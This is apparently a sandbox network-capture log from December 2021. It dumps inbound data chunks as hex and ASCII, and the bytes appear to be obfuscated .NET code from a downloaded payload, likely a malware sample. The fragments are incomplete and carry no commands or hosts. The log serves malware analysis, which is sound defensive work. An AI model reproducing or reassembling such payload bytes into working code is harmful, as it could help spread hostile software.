2021-12-28 04:19:03 UTC	19	IN	Data Raw: 73 73 00 00 0a d0 2e 00 00 02 28 03 01 00 06 28 08 01 00 06 74 2e 00 00 02 80 6d 00 00 04 20 00 00 00 00 28 1f 01 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 75 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd 97 04 00 00 26 20 00 00 00 00 28 1e 01 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 33 00 45 02 00 00 00 05 00 00 00 d9 00 00 00 38 00 00 00 00 00 11 04 73 73 00 00 0a d0 2e 00 00 02 28 03 01 00 06 28 08 01 00 06 13 2e 20 00 00 00 00 28 1f 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 5b 00 45 02 00 00 00 05 00 00 00 3f 00 00 00 38 00 00 00 00 d0 2e 00 00 02 28 03 01 00 06 11 2e 28 10 01 00 06 28 11 01 00 06 74 2e 00 00 02 80 6d 00 00 04 20 01 00 00 00 28 1f 01 00 06 3a bf ff ff ff 26 20 01 00 00 00 38 Data Ascii: ss.((t.m (9& 8uE8& (9& 83E8ss.((. (:& 8[E?8.(.((t.m (:& 8
2021-12-28 04:19:03 UTC	20	IN	Data Raw: 00 20 08 00 00 00 fe 0c 34 00 9c 20 b5 00 00 00 28 1f 01 00 06 39 9a d0 ff ff 26 20 25 00 00 00 38 8f d0 ff ff 20 d4 00 00 00 20 46 00 00 00 59 fe 0e 34 00 20 79 00 00 00 fe 0e 6e 00 38 6e d0 ff ff fe 0c 45 00 20 02 00 00 00 20 d8 00 00 00 20 48 00 00 00 59 9c 20 33 02 00 00 38 53 d0 ff ff fe 0c 3e 00 20 10 00 00 00 20 95 00 00 00 20 31 00 00 00 59 9c 20 4b 02 00 00 fe 0e 6e 00 38 2c d0 ff ff 38 c5 fd ff ff 20 00 01 00 00 28 1f 01 00 06 39 1c d0 ff ff 26 20 91 00 00 00 38 11 d0 ff ff 20 32 00 00 00 20 01 00 00 00 58 fe 0e 30 00 20 27 01 00 00 38 f8 cf ff ff 38 17 f4 ff ff 20 40 01 00 00 28 1e 01 00 06 3a e4 cf ff ff 26 20 2f 01 00 00 38 d9 cf ff ff 11 09 11 01 19 58 11 0c 19 91 9c 20 1a 02 00 00 38 c4 cf ff ff fe 0c 3e 00 20 08 00 00 00 fe 0c 30 00 9c 20 Data Ascii: 4 (9& %8 FY4 yn8nE HY 38S> 1Y Kn8,8 (9& 8 2 X0 '88 @(:& /8X 8> 0
2021-12-28 04:19:03 UTC	21	IN	Data Raw: 11 64 1a 5a 11 28 12 28 28 b0 00 00 06 26 20 4d 01 00 00 38 43 cb ff ff 28 d3 00 00 06 20 31 00 00 00 28 1e 01 00 06 39 2f cb ff ff 26 20 dc 00 00 00 38 24 cb ff ff 20 a3 00 00 00 20 36 00 00 00 59 fe 0e 34 00 20 f0 00 00 00 38 0b cb ff ff 11 3b 11 13 61 13 57 20 0e 01 00 00 38 fa ca ff ff 11 09 11 6d 1b 58 11 63 1b 91 9c 20 ff 01 00 00 38 e5 ca ff ff 20 d3 00 00 00 20 46 00 00 00 59 fe 0e 30 00 20 0e 02 00 00 38 cc ca ff ff 11 1c 1e 58 13 1c 20 48 02 00 00 38 bc ca ff ff 11 43 1d 1f 64 9c 20 96 00 00 00 38 ac ca ff ff fe 0c 45 00 20 0c 00 00 00 20 6a 00 00 00 20 76 00 00 00 58 9c 20 81 01 00 00 38 8d ca ff ff 11 43 1b 1f 74 9c 20 9c 01 00 00 38 7d ca ff ff 11 09 11 01 19 58 11 63 19 91 9c 20 56 00 00 00 38 68 ca ff ff fe 0c 3e 00 20 13 00 00 00 20 5b 00 Data Ascii: dZ(((& M8C( 1(9/& 8$ 6Y4 8;aW 8mXc 8 FY0 8X H8Cd 8E j vX 8Ct 8}Xc V8h> [
2021-12-28 04:19:03 UTC	23	IN	Data Raw: 74 11 25 28 e3 00 00 06 39 af ff ff ff 20 03 00 00 00 38 a4 fe ff ff 1a 16 20 6f 76 00 00 20 01 46 00 00 73 74 00 00 0a 13 25 20 0b 00 00 00 38 87 fe ff ff 11 74 11 22 28 e2 00 00 06 39 7a ff ff ff 20 01 00 00 00 28 1e 01 00 06 39 6a fe ff ff 26 20 01 00 00 00 38 5f fe ff ff 11 4e 28 da 00 00 06 28 db 00 00 06 72 1e 0b 00 70 28 dc 00 00 06 3a 96 fe ff ff 20 00 00 00 00 28 1e 01 00 06 3a 35 fe ff ff 26 20 00 00 00 00 38 2a fe ff ff dd 4b d4 ff ff 11 5d 75 54 00 00 01 13 39 20 01 00 00 00 28 1e 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 26 00 45 03 00 00 00 37 00 00 00 26 00 00 00 05 00 00 00 38 32 00 00 00 11 39 28 e5 00 00 06 20 00 00 00 00 28 1f 01 00 06 3a d4 ff ff ff 26 20 00 00 00 00 38 c9 ff ff ff 11 39 39 0a 00 00 00 20 02 00 00 Data Ascii: t%(9 8 ov Fst% 8t"(9z (9j& 8_N((rp(: (:5& 8*K]uT9 (:& 8&E7&829( (:& 899
2021-12-28 04:19:03 UTC	24	IN	Data Raw: 18 00 00 00 fe 0c 30 00 9c 20 94 00 00 00 38 96 c0 ff ff 12 35 17 8d 16 00 00 01 25 16 1f 2a 9c 7d 72 00 00 04 20 e9 01 00 00 38 7a c0 ff ff 20 24 00 00 00 20 74 00 00 00 58 fe 0e 30 00 20 f7 01 00 00 28 1f 01 00 06 3a 5c c0 ff ff 26 20 74 02 00 00 38 51 c0 ff ff 14 13 63 20 97 00 00 00 fe 0e 6e 00 38 3c c0 ff ff 11 09 11 6d 11 0f 16 91 9c 20 93 01 00 00 38 2d c0 ff ff 11 09 11 01 19 58 11 0f 19 91 9c 20 b8 00 00 00 fe 0e 6e 00 38 10 c0 ff ff 11 1b 11 64 1a 5a 1e 12 28 28 b0 00 00 06 26 20 c1 00 00 00 38 fb bf ff ff 7e 50 00 00 04 28 0c 01 00 06 13 2d 20 65 01 00 00 28 1f 01 00 06 3a e0 bf ff ff 26 20 68 01 00 00 38 d5 bf ff ff fe 0c 45 00 20 0a 00 00 00 fe 0c 34 00 9c 20 20 00 00 00 28 1e 01 00 06 39 b8 bf ff ff 26 20 a0 00 00 00 38 ad bf ff ff fe 0c 3e Data Ascii: 0 85%*}r 8z $ tX0 (:\& t8Qc n8<m 8-X n8dZ((& 8~P(- e(:& h8E 4 (9& 8>
2021-12-28 04:19:03 UTC	25	IN	Data Raw: 20 38 00 00 00 58 9c 20 56 02 00 00 38 3f bb ff ff 11 43 19 1f 6f 9c 20 51 02 00 00 38 2f bb ff ff fe 0c 3e 00 20 1a 00 00 00 fe 0c 30 00 9c 20 6f 01 00 00 38 17 bb ff ff 16 13 29 20 2e 01 00 00 38 0a bb ff ff 7e 0a 00 00 0a 11 6f 8e 69 20 00 10 00 00 1f 40 28 1c 01 00 06 13 36 20 22 02 00 00 28 1f 01 00 06 39 e4 ba ff ff 26 20 0c 00 00 00 38 d9 ba ff ff 7f 62 00 00 04 28 71 00 00 0a 28 fe 00 00 06 13 0f 20 78 02 00 00 38 be ba ff ff 11 09 16 11 36 11 09 8e 69 28 cc 00 00 06 20 7e 02 00 00 28 1e 01 00 06 3a a1 ba ff ff 26 20 be 01 00 00 38 96 ba ff ff 20 5b 00 00 00 20 38 00 00 00 58 fe 0e 30 00 20 c5 00 00 00 38 7d ba ff ff 11 5e 8e 69 1a 5b 13 38 20 9d 00 00 00 fe 0e 6e 00 38 63 ba ff ff 11 09 11 6d 19 58 11 0f 19 91 9c 20 83 00 00 00 38 52 ba ff ff fe Data Ascii: 8X V8?Co Q8/> 0 o8) .8~oi @(6 "(9& 8b(q( x86i( ~(:& 8 [ 8X0 8}^i[8 n8cmX 8R
2021-12-28 04:19:03 UTC	27	IN	Data Raw: 01 00 00 38 ef b5 ff ff d0 29 00 00 02 28 03 01 00 06 6f 24 00 00 0a 28 0e 01 00 06 28 12 01 00 06 8e 69 18 40 2f 15 00 00 20 64 01 00 00 28 1e 01 00 06 3a bf b5 ff ff 26 20 37 00 00 00 38 b4 b5 ff ff fe 0c 3e 00 20 0e 00 00 00 20 86 00 00 00 20 2c 00 00 00 59 9c 20 c4 00 00 00 28 1f 01 00 06 3a 90 b5 ff ff 26 20 b6 01 00 00 38 85 b5 ff ff 20 ef 00 00 00 20 4f 00 00 00 59 fe 0e 30 00 20 5b 02 00 00 38 6c b5 ff ff 11 1e 28 f3 00 00 06 16 13 65 20 00 00 00 70 3f bc db ff ff 20 67 00 00 00 38 4e b5 ff ff fe 0c 45 00 20 03 00 00 00 fe 0c 34 00 9c 20 28 00 00 00 fe 0e 6e 00 38 2e b5 ff ff 11 43 1d 1f 74 9c 20 31 01 00 00 38 22 b5 ff ff 28 d3 00 00 06 20 03 00 00 00 28 1f 01 00 06 3a 0e b5 ff ff 26 20 53 00 00 00 38 03 b5 ff ff fe 0c 3e 00 20 01 00 00 00 fe 0c Data Ascii: 8)(o$((i@/ d(:& 78> ,Y (:& 8 OY0 [8l(e p? g8NE 4 (n8.Ct 18"( (:& S8>
2021-12-28 04:19:03 UTC	28	IN	Data Raw: 00 00 59 fe 0e 30 00 20 47 01 00 00 38 8d b0 ff ff 11 20 28 eb 00 00 06 20 31 00 00 00 38 7c b0 ff ff 20 31 00 00 00 20 30 00 00 00 59 fe 0e 34 00 20 2f 01 00 00 28 1e 01 00 06 3a 5e b0 ff ff 26 20 1b 01 00 00 38 53 b0 ff ff 1f 38 17 28 ce 00 00 06 28 fc 00 00 06 28 fd 00 00 06 13 12 20 b4 01 00 00 38 35 b0 ff ff fe 0c 45 00 20 0a 00 00 00 fe 0c 34 00 9c 20 07 02 00 00 28 1f 01 00 06 39 18 b0 ff ff 26 20 21 00 00 00 38 0d b0 ff ff 11 15 17 58 13 15 20 20 00 00 00 28 1f 01 00 06 3a f8 af ff ff 26 20 7f 00 00 00 38 ed af ff ff 16 13 2c 20 99 01 00 00 38 e0 af ff ff fe 0c 3e 00 20 0b 00 00 00 20 16 00 00 00 20 03 00 00 00 58 9c 20 82 01 00 00 38 c1 af ff ff 20 6e 00 00 00 20 53 00 00 00 59 fe 0e 34 00 20 6c 01 00 00 fe 0e 6e 00 38 a0 af ff ff 18 13 6d 20 b8 Data Ascii: Y0 G8 ( 18\| 1 0Y4 /(:^& 8S8((( 85E 4 (9& !8X (:& 8, 8> X 8 n SY4 ln8m
2021-12-28 04:19:03 UTC	29	IN	Data Raw: ff ff 26 20 66 00 00 00 38 38 ab ff ff 28 f4 00 00 06 25 17 28 f5 00 00 06 11 0e 11 20 28 f6 00 00 06 13 4c 20 08 00 00 00 28 1f 01 00 06 39 12 ab ff ff 26 20 07 00 00 00 38 07 ab ff ff 16 13 28 20 4a 02 00 00 38 fa aa ff ff 11 09 11 6d 1b 58 11 0c 1b 91 9c 20 38 02 00 00 38 e5 aa ff ff 11 1e 11 55 28 ea 00 00 06 13 0d 20 4c 00 00 00 28 1e 01 00 06 39 cb aa ff ff 26 20 6e 00 00 00 38 c0 aa ff ff 11 09 11 01 18 58 11 0f 18 91 9c 20 79 01 00 00 38 ab aa ff ff 16 13 17 20 65 00 00 00 38 9e aa ff ff 20 44 00 00 00 20 1f 00 00 00 58 fe 0e 30 00 20 15 00 00 00 28 1f 01 00 06 3a 80 aa ff ff 26 20 53 01 00 00 38 75 aa ff ff fe 0c 3e 00 20 05 00 00 00 fe 0c 30 00 9c 20 e1 01 00 00 38 5d aa ff ff fe 0c 3e 00 20 18 00 00 00 20 82 00 00 00 20 2b 00 00 00 59 9c 20 aa Data Ascii: & f88(%( (L (9& 8( J8mX 88U( L(9& n8X y8 e8 D X0 (:& S8u> 0 8]> +Y
2021-12-28 04:19:03 UTC	31	IN	Data Raw: ff ff ff 7e 50 00 00 04 11 61 73 6f 00 00 0a 11 61 73 6f 00 00 0a 11 61 73 6f 00 00 0a 20 7d 1d ea 0c 11 61 73 6f 00 00 0a 12 73 6f 2f 01 00 06 26 20 02 00 00 00 28 1e 01 00 06 3a 23 ff ff ff 26 20 00 00 00 00 38 18 ff ff ff 38 5c ff ff ff 20 01 00 00 00 28 1e 01 00 06 39 04 ff ff ff 26 20 01 00 00 00 38 f9 fe ff ff 16 e0 13 61 20 04 00 00 00 38 eb fe ff ff dd 44 01 00 00 14 13 11 20 00 00 00 00 28 1f 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 4d 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dc 20 02 00 00 00 38 29 fd ff ff 73 72 00 00 0a 13 16 20 07 00 00 00 28 1e 01 00 06 3a 13 fd ff ff 26 20 07 00 00 00 38 08 fd ff ff 38 6e fd ff ff 20 08 00 00 00 28 1f 01 00 06 3a f4 fc ff ff 26 20 10 00 00 00 38 e9 fc ff ff 11 16 28 d4 00 00 06 8d Data Ascii: ~Pasoasoaso }asoso/& (:#& 88\ (9& 8a 8D (:& 8ME8 8)sr (:& 88n (:& 8(
2021-12-28 04:19:03 UTC	32	IN	Data Raw: ff 00 00 00 13 48 20 76 02 00 00 28 1e 01 00 06 3a 7e a0 ff ff 26 20 d0 00 00 00 38 73 a0 ff ff 20 6b 00 00 00 20 60 00 00 00 58 fe 0e 34 00 20 aa 00 00 00 38 5a a0 ff ff 38 e0 c2 ff ff 20 49 02 00 00 38 4b a0 ff ff fe 0c 3e 00 20 0f 00 00 00 fe 0c 30 00 9c 20 44 00 00 00 38 33 a0 ff ff 11 43 17 1f 73 9c 20 86 01 00 00 fe 0e 6e 00 38 1b a0 ff ff fe 0c 3e 00 20 08 00 00 00 20 67 00 00 00 20 73 00 00 00 58 9c 20 38 00 00 00 38 00 a0 ff ff fe 0c 3e 00 20 1a 00 00 00 fe 0c 30 00 9c 20 4a 00 00 00 28 1f 01 00 06 3a e3 9f ff ff 26 20 4a 00 00 00 38 d8 9f ff ff 11 5e 8e 69 1a 5d 13 50 20 0f 02 00 00 28 1f 01 00 06 39 c1 9f ff ff 26 20 17 01 00 00 38 b6 9f ff ff 11 43 1e 1f 2e 9c 20 c0 00 00 00 38 a6 9f ff ff fe 0c 3e 00 20 01 00 00 00 20 52 00 00 00 20 67 00 00 Data Ascii: H v(:~& 8s k `X4 8Z8 I8K> 0 D83Cs n8> g sX 88> 0 J(:& J8^i]P (9& 8C. 8> R g
2021-12-28 04:19:03 UTC	33	IN	Data Raw: 03 2a 00 00 51 00 00 00 54 2a 00 00 0a 01 00 00 0a 00 00 01 02 00 00 00 71 59 00 00 32 01 00 00 a3 5a 00 00 30 00 00 00 00 00 00 00 00 00 00 00 a4 57 00 00 48 04 00 00 ec 5b 00 00 32 00 00 00 0a 00 00 01 1b 30 04 00 fb 00 00 00 13 00 00 11 02 74 32 00 00 01 6f 79 00 00 0a 28 7a 00 00 0a 39 11 00 00 00 02 74 32 00 00 01 6f 79 00 00 0a 0a dd d3 00 00 00 dd 06 00 00 00 26 dd 00 00 00 00 00 02 74 32 00 00 01 6f 7b 00 00 0a 6f 7c 00 00 0a 6f 77 00 00 0a 72 90 0b 00 70 72 01 00 00 70 6f 7d 00 00 0a 28 7a 00 00 0a 39 2a 00 00 00 02 74 32 00 00 01 6f 7b 00 00 0a 6f 7c 00 00 0a 6f 77 00 00 0a 72 90 0b 00 70 72 01 00 00 70 6f 7d 00 00 0a 0a dd 6f 00 00 00 dd 06 00 00 00 26 dd 00 00 00 00 00 02 6f 76 00 00 0a 72 a2 0b 00 70 6f 7e 00 00 0a 02 16 8d 0a 00 00 01 6f 7f Data Ascii: QTqY2Z0WH[20t2oy(z9t2oy&t2o{o\|owrprpo}(z9*t2o{o\|owrprpo}o&ovrpo~o
2021-12-28 04:19:03 UTC	34	IN	Data Raw: 03 28 8d 00 00 0a 39 02 00 00 00 17 2a 02 39 06 00 00 00 03 3a 02 00 00 00 16 2a 16 0a 16 0b 16 0c 16 0d 02 7e 61 00 00 04 6f 8e 00 00 0a 39 2a 00 00 00 17 0a 02 1a 6f 8f 00 00 0a 02 1b 6f 8f 00 00 0a 1e 62 60 02 1c 6f 8f 00 00 0a 1f 10 62 60 02 1d 6f 8f 00 00 0a 1f 18 62 60 0c 03 7e 61 00 00 04 6f 8e 00 00 0a 39 2a 00 00 00 17 0b 03 1a 6f 8f 00 00 0a 03 1b 6f 8f 00 00 0a 1e 62 60 03 1c 6f 8f 00 00 0a 1f 10 62 60 03 1d 6f 8f 00 00 0a 1f 18 62 60 0d 06 3a 08 00 00 00 07 3a 02 00 00 00 16 2a 06 3a 07 00 00 00 02 28 b8 00 00 06 0c 07 3a 07 00 00 00 03 28 b8 00 00 06 0d 08 09 fe 01 2a 00 00 00 72 72 86 0c 00 70 6f 61 00 00 0a 16 26 26 18 8d 16 00 00 01 25 16 17 9c 25 17 18 9c 2a 00 00 00 72 72 ba 0c 00 70 6f 61 00 00 0a 16 26 26 18 8d 16 00 00 01 25 16 17 9c Data Ascii: (99:~ao9oob`ob`ob`~ao9oob`ob`ob`:::(:(rrpoa&&%%*rrpoa&&%
2021-12-28 04:19:03 UTC	36	IN	Data Raw: 29 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 83 00 00 0a 2a 3e 00 fe 09 00 00 fe 09 01 00 28 a8 00 00 06 2a 2a fe 09 00 00 6f 34 01 00 06 2a 00 2e 00 fe 09 00 00 28 b4 00 00 0a 2a 2e 00 fe 09 00 00 28 b5 00 00 0a 2a 2e 00 fe 09 00 00 28 b6 00 00 0a 2a 2a fe 09 00 00 6f b7 00 00 0a 2a 00 2a fe 09 00 00 6f b8 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 b9 00 00 0a 2a 2a fe 09 00 00 6f ba 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 4a 00 00 0a 2a 2a fe 09 00 00 6f 4c 00 00 0a 2a 00 2a fe 09 00 00 6f bb 00 00 0a 2a 00 2a fe 09 00 00 6f bc 00 00 0a 2a 00 2a fe 09 00 00 28 76 00 00 0a 2a 00 3a fe 09 00 00 fe 09 01 00 6f bd 00 00 0a 2a 00 2e 00 fe 09 00 00 28 be 00 00 0a 2a 2e 00 fe 09 00 00 28 bf 00 00 0a 2a 2a fe 09 00 00 6f c0 00 00 0a 2a 00 2e Data Ascii: )>(>(*o4.(.(.(oo>(o>(JoLoo(v:o.(.(o.
2021-12-28 04:19:03 UTC	37	IN	Data Raw: aa 1e 00 00 7e 03 00 00 1d 32 00 00 ec 18 00 00 b6 16 00 00 d8 32 00 00 56 1c 00 00 c7 00 00 00 de 0c 00 00 81 1f 00 00 1f 0d 00 00 c2 27 00 00 2b 35 00 00 1d 33 00 00 17 17 00 00 42 26 00 00 9b 06 00 00 8a 19 00 00 d1 1d 00 00 eb 26 00 00 38 2e 00 00 7f 04 00 00 77 32 00 00 b2 25 00 00 a3 24 00 00 03 12 00 00 61 26 00 00 ab 17 00 00 c4 2b 00 00 90 32 00 00 05 00 00 00 dd 2b 00 00 0e 1a 00 00 ef 02 00 00 90 28 00 00 ae 02 00 00 c5 15 00 00 62 1f 00 00 8d 0e 00 00 e3 30 00 00 81 1a 00 00 73 06 00 00 09 1e 00 00 17 14 00 00 ea 1a 00 00 44 31 00 00 df 20 00 00 06 2a 00 00 38 21 00 00 4e 2f 00 00 54 20 00 00 4e 0d 00 00 03 0a 00 00 1b 15 00 00 11 09 00 00 6e 0b 00 00 33 15 00 00 8b 24 00 00 9b 22 00 00 5b 01 00 00 c2 2a 00 00 85 31 00 00 48 13 00 00 8c 00 00 Data Ascii: ~22V'+53B&&8.w2%$a&+2+(b0sD1 8!N/T Nn3$"[1H
2021-12-28 04:19:03 UTC	38	IN	Data Raw: ff ff 38 4a 1d 00 00 20 70 01 00 00 28 72 01 00 06 3a b4 f7 ff ff 26 20 40 00 00 00 38 a9 f7 ff ff fe 0c 11 00 20 15 00 00 00 20 a8 00 00 00 20 38 00 00 00 59 9c 20 74 00 00 00 fe 0e 29 00 38 82 f7 ff ff fe 0c 00 00 20 02 00 00 00 fe 0c 09 00 9c 20 36 00 00 00 38 6e f7 ff ff 20 6e 00 00 00 20 59 00 00 00 59 fe 0e 28 00 20 29 00 00 00 38 55 f7 ff ff fe 0c 11 00 20 0a 00 00 00 20 4d 00 00 00 20 1c 00 00 00 58 9c 20 98 01 00 00 28 73 01 00 06 3a 31 f7 ff ff 26 20 b5 01 00 00 38 26 f7 ff ff fe 0c 11 00 20 1d 00 00 00 fe 0c 28 00 9c 20 ce 00 00 00 28 73 01 00 06 3a 09 f7 ff ff 26 20 d6 00 00 00 38 fe f6 ff ff fe 0c 00 00 20 05 00 00 00 fe 0c 09 00 9c 20 24 01 00 00 38 e6 f6 ff ff 20 9e 00 00 00 20 4e 00 00 00 59 fe 0e 28 00 20 9e 00 00 00 38 cd f6 ff ff 20 67 Data Ascii: 8J p(r:& @8 8Y t)8 68n n YY( )8U M X (s:1& 8& ( (s:& 8 $8 NY( 8 g
2021-12-28 04:19:03 UTC	40	IN	Data Raw: 00 00 00 38 69 f2 ff ff fe 0c 11 00 20 1a 00 00 00 fe 0c 28 00 9c 20 30 00 00 00 38 51 f2 ff ff fe 0c 00 00 20 04 00 00 00 fe 0c 09 00 9c 20 aa 01 00 00 38 39 f2 ff ff 20 90 00 00 00 20 2e 00 00 00 58 fe 0e 09 00 20 4a 00 00 00 28 73 01 00 06 3a 1b f2 ff ff 26 20 6b 00 00 00 38 10 f2 ff ff 11 10 11 26 61 13 04 20 4a 01 00 00 38 ff f1 ff ff fe 0c 00 00 20 01 00 00 00 20 cf 00 00 00 20 45 00 00 00 59 9c 20 6f 00 00 00 28 72 01 00 06 3a db f1 ff ff 26 20 39 00 00 00 38 d0 f1 ff ff fe 0c 11 00 20 16 00 00 00 20 f5 00 00 00 20 51 00 00 00 59 9c 20 d0 00 00 00 28 72 01 00 06 3a ac f1 ff ff 26 20 53 00 00 00 38 a1 f1 ff ff fe 0c 00 00 20 01 00 00 00 fe 0c 09 00 9c 20 74 01 00 00 38 89 f1 ff ff fe 0c 00 00 20 02 00 00 00 20 65 00 00 00 20 6f 00 00 00 58 9c 20 4f Data Ascii: 8i ( 08Q 89 .X J(s:& k8&a J8 EY o(r:& 98 QY (r:& S8 t8 e oX O
2021-12-28 04:19:03 UTC	41	IN	Data Raw: ed ff ff fe 0c 11 00 20 02 00 00 00 20 38 00 00 00 20 35 00 00 00 58 9c 20 a0 01 00 00 38 f6 ec ff ff fe 0c 00 00 20 0f 00 00 00 fe 0c 09 00 9c 20 2d 00 00 00 38 de ec ff ff fe 0c 11 00 20 16 00 00 00 fe 0c 28 00 9c 20 0d 01 00 00 28 72 01 00 06 3a c1 ec ff ff 26 20 46 00 00 00 38 b6 ec ff ff fe 0c 11 00 20 10 00 00 00 fe 0c 28 00 9c 20 03 00 00 00 38 9e ec ff ff fe 0c 11 00 20 15 00 00 00 fe 0c 28 00 9c 20 4a 00 00 00 28 72 01 00 06 39 81 ec ff ff 26 20 7b 00 00 00 38 76 ec ff ff fe 0c 11 00 20 03 00 00 00 fe 0c 28 00 9c 20 a2 01 00 00 38 5e ec ff ff 20 b2 00 00 00 20 3b 00 00 00 59 fe 0e 28 00 20 21 01 00 00 38 45 ec ff ff fe 0c 00 00 20 04 00 00 00 fe 0c 09 00 9c 20 16 00 00 00 38 2d ec ff ff 20 88 00 00 00 20 2d 00 00 00 59 fe 0e 28 00 20 49 00 00 00 Data Ascii: 8 5X 8 -8 ( (r:& F8 ( 8 ( J(r9& {8v ( 8^ ;Y( !8E 8- -Y( I
2021-12-28 04:19:03 UTC	43	IN	Data Raw: 01 00 00 38 b7 e7 ff ff 20 af 00 00 00 20 3a 00 00 00 59 fe 0e 28 00 20 65 00 00 00 38 9e e7 ff ff fe 0c 11 00 20 01 00 00 00 20 a6 00 00 00 20 37 00 00 00 59 9c 20 41 00 00 00 38 7f e7 ff ff 16 13 10 20 40 01 00 00 fe 0e 29 00 38 6a e7 ff ff 20 e0 00 00 00 20 6d 00 00 00 59 fe 0e 09 00 20 e5 00 00 00 38 55 e7 ff ff 20 c4 00 00 00 20 41 00 00 00 59 fe 0e 28 00 20 5e 00 00 00 fe 0e 29 00 38 34 e7 ff ff fe 0c 11 00 20 19 00 00 00 fe 0c 28 00 9c 20 7d 00 00 00 38 20 e7 ff ff 20 42 00 00 00 20 4e 00 00 00 58 fe 0e 28 00 20 0e 00 00 00 fe 0e 29 00 38 ff e6 ff ff 20 64 00 00 00 20 79 00 00 00 58 fe 0e 09 00 20 07 00 00 00 28 72 01 00 06 3a e5 e6 ff ff 26 20 07 00 00 00 38 da e6 ff ff 20 80 00 00 00 20 15 00 00 00 59 fe 0e 28 00 20 a6 00 00 00 28 72 01 00 06 3a Data Ascii: 8 :Y( e8 7Y A8 @)8j mY 8U AY( ^)84 ( }8 B NX( )8 d yX (r:& 8 Y( (r:
2021-12-28 04:19:03 UTC	44	IN	Data Raw: 00 00 00 58 fe 0e 09 00 20 d9 00 00 00 38 54 e2 ff ff fe 0c 00 00 20 01 00 00 00 20 cc 00 00 00 20 44 00 00 00 59 9c 20 84 01 00 00 28 72 01 00 06 3a 30 e2 ff ff 26 20 0c 01 00 00 38 25 e2 ff ff 20 21 00 00 00 20 31 00 00 00 58 fe 0e 28 00 20 e0 00 00 00 38 0c e2 ff ff fe 0c 11 00 20 17 00 00 00 20 2b 00 00 00 20 23 00 00 00 58 9c 20 84 00 00 00 fe 0e 29 00 38 e5 e1 ff ff fe 0c 00 00 20 0a 00 00 00 20 b6 00 00 00 20 3c 00 00 00 59 9c 20 3c 00 00 00 28 72 01 00 06 3a c5 e1 ff ff 26 20 18 00 00 00 38 ba e1 ff ff 11 0a 73 21 00 00 0a 16 73 ca 00 00 0a 13 25 20 4c 00 00 00 38 a1 e1 ff ff 20 80 00 00 00 20 2a 00 00 00 59 fe 0e 09 00 20 6f 01 00 00 28 73 01 00 06 39 83 e1 ff ff 26 20 55 00 00 00 38 78 e1 ff ff fe 0c 00 00 20 0d 00 00 00 20 f0 00 00 00 20 50 00 Data Ascii: X 8T DY (r:0& 8% ! 1X( 8 + #X )8 <Y <(r:& 8s!s% L8 *Y o(s9& U8x P
2021-12-28 04:19:03 UTC	45	IN	Data Raw: 00 59 9c 20 10 00 00 00 28 73 01 00 06 39 fb dc ff ff 26 20 04 00 00 00 38 f0 dc ff ff fe 0c 11 00 20 08 00 00 00 20 19 00 00 00 20 32 00 00 00 58 9c 20 69 00 00 00 fe 0e 29 00 38 c9 dc ff ff 20 3a 00 00 00 20 0c 00 00 00 58 fe 0e 09 00 20 13 01 00 00 28 72 01 00 06 3a af dc ff ff 26 20 17 00 00 00 38 a4 dc ff ff 11 12 39 52 16 00 00 20 31 00 00 00 28 72 01 00 06 3a 8e dc ff ff 26 20 0d 00 00 00 38 83 dc ff ff 11 1e 16 3e b4 08 00 00 20 54 00 00 00 38 71 dc ff ff fe 0c 11 00 20 17 00 00 00 fe 0c 28 00 9c 20 99 01 00 00 28 72 01 00 06 3a 54 dc ff ff 26 20 7a 00 00 00 38 49 dc ff ff 11 24 17 58 13 24 20 2f 00 00 00 38 39 dc ff ff fe 0c 11 00 20 0e 00 00 00 20 b6 00 00 00 20 3c 00 00 00 59 9c 20 9d 00 00 00 38 1a dc ff ff fe 0c 00 00 20 0e 00 00 00 fe 0c 09 Data Ascii: Y (s9& 8 2X i)8 : X (r:& 89R 1(r:& 8> T8q ( (r:T& z8I$X$ /89 <Y 8
2021-12-28 04:19:03 UTC	47	IN	Data Raw: 20 2c 00 00 00 38 aa d7 ff ff 20 47 00 00 00 20 10 00 00 00 58 fe 0e 28 00 20 0d 00 00 00 fe 0e 29 00 38 89 d7 ff ff fe 0c 11 00 20 12 00 00 00 fe 0c 28 00 9c 20 0c 01 00 00 28 73 01 00 06 3a 70 d7 ff ff 26 20 8e 01 00 00 38 65 d7 ff ff fe 0c 00 00 20 03 00 00 00 20 ce 00 00 00 20 7a 00 00 00 59 9c 20 c3 00 00 00 38 46 d7 ff ff fe 0c 11 00 20 05 00 00 00 20 2d 00 00 00 20 0e 00 00 00 58 9c 20 e7 00 00 00 38 27 d7 ff ff 11 22 17 58 13 22 20 07 00 00 00 28 73 01 00 06 3a 12 d7 ff ff 26 20 23 00 00 00 38 07 d7 ff ff fe 0c 00 00 20 06 00 00 00 20 08 00 00 00 20 45 00 00 00 58 9c 20 71 00 00 00 28 72 01 00 06 39 e3 d6 ff ff 26 20 a2 00 00 00 38 d8 d6 ff ff 20 59 00 00 00 20 64 00 00 00 58 fe 0e 09 00 20 72 01 00 00 38 bf d6 ff ff fe 0c 11 00 20 10 00 00 00 fe Data Ascii: ,8 G X( )8 ( (s:p& 8e zY 8F - X 8'"X" (s:& #8 EX q(r9& 8 Y dX r8
